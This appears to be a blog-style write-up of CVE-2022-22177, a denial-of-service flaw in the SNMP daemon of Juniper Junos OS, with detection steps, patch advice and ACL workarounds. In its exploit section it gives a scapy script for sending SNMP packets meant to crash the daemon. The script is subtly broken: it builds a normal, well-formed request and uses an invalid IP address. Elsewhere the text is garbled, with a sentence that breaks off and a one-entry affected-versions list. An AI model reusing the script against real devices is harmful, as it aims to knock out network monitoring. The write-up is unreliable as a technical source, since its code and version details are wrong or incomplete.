CVE-2022-22177 is a serious memory management vulnerability that affects the snmpd (SNMP daemon) process in Juniper Networks’ Junos OS and Junos OS Evolved. SNMP (Simple Network Management Protocol) is used for monitoring and managing network devices.

This flaw allows an attacker to crash the snmpd daemon by sending specially crafted SNMP requests. The result? The SNMP service stays down until someone manually restarts it – a classic Denial of Service (DoS).

Worse, it affects all main SNMP versions: v1, v2, and v3.

Affected Systems

If your device runs any of the following Junos versions before the fixed releases, you’re at risk:

21.3 before 21.3R2-EVO

For a full list and official notes, check the Juniper Advisory JSA69813.

Vulnerability Details: What’s Happening Behind the Scenes?

The root cause is incorrect memory release. If an attacker sends a particular malformed SNMP request, snmpd tries to free up memory that it shouldn’t, causing the daemon to crash. Since snmpd won’t restart itself, you lose all SNMP monitoring until you manually intervene.

The vulnerability can be triggered remotely and does not require authentication: if your SNMP daemon is exposed to the network (even on a LAN), the attack is trivial.

Potential Exploit: How Could an Attacker Crash Your SNMPD?

While Juniper and public advisories don’t provide a proof-of-concept, the nature of this bug suggests that sending a malformed SNMP packet (for example, with invalid length fields or wrong type identifiers in the PDU) can trigger the issue.

Here’s a simplified Python snippet using the scapy library to craft and send a basic malformed SNMP packet to a target Juniper device.

> Warning: this is for educational purposes only! Never attack a system you don’t own or have explicit permission to test.

from scapy.all import *
from scapy.layers.snmp import SNMP, SNMPget, SNMPvarbind

target_ip = "192..2.1"  # Replace with target Juniper device IP
snmp_port = 161

# Craft an intentionally malformed SNMP packet (invalid length/type)
mal_snmp = IP(dst=target_ip)/UDP(dport=snmp_port)/SNMP(
    version=2, 
    community="public",
    PDU=SNMPget(varbindlist=[SNMPvarbind(oid="1.3.6.1.2.1", value="malicious")])
)

# Send the packet
send(mal_snmp)

You can fuzz the SNMP packet further by altering parts of the PDU, leaving out required fields, or using values outside valid ranges. Fuzzers like boofuzz are commonly used for this.

Real-World Impact

If SNMP is your main monitoring and alerting tool, a downed snmpd means an outage in visibility. An attacker could:

Check your Juniper device logs for entries like

snmpd[xxxx]: Memory release error. snmpd is terminating abnormally.

Or look for the absence of SNMP responses/alerts when the daemon is down. In Junos, you can check service status with:

show system processes | match snmp

The only real solution is to update to a non-vulnerable release. Patches and more info

- Juniper Security Advisory JSA69813

Workarounds

- Restrict SNMP access. Use ACLs/firewall to allow SNMP only from trusted hosts/networks.

References & Further Reading

- Original CVE Record - CVE-2022-22177
- Juniper JSA69813 Security Advisory
- Scapy SNMP Documentation

Bottom Line

If you run Juniper Junos and expose SNMP, patch now.  
Leaving this unpatched makes it trivial for someone to crash your SNMP monitoring, potentially masking bigger attacks or outages.

Stay safe and always monitor your critical services – including the things that monitor your network!

Timeline

Published on: 01/19/2022 01:15:00 UTC
Last modified on: 01/26/2022 19:16:00 UTC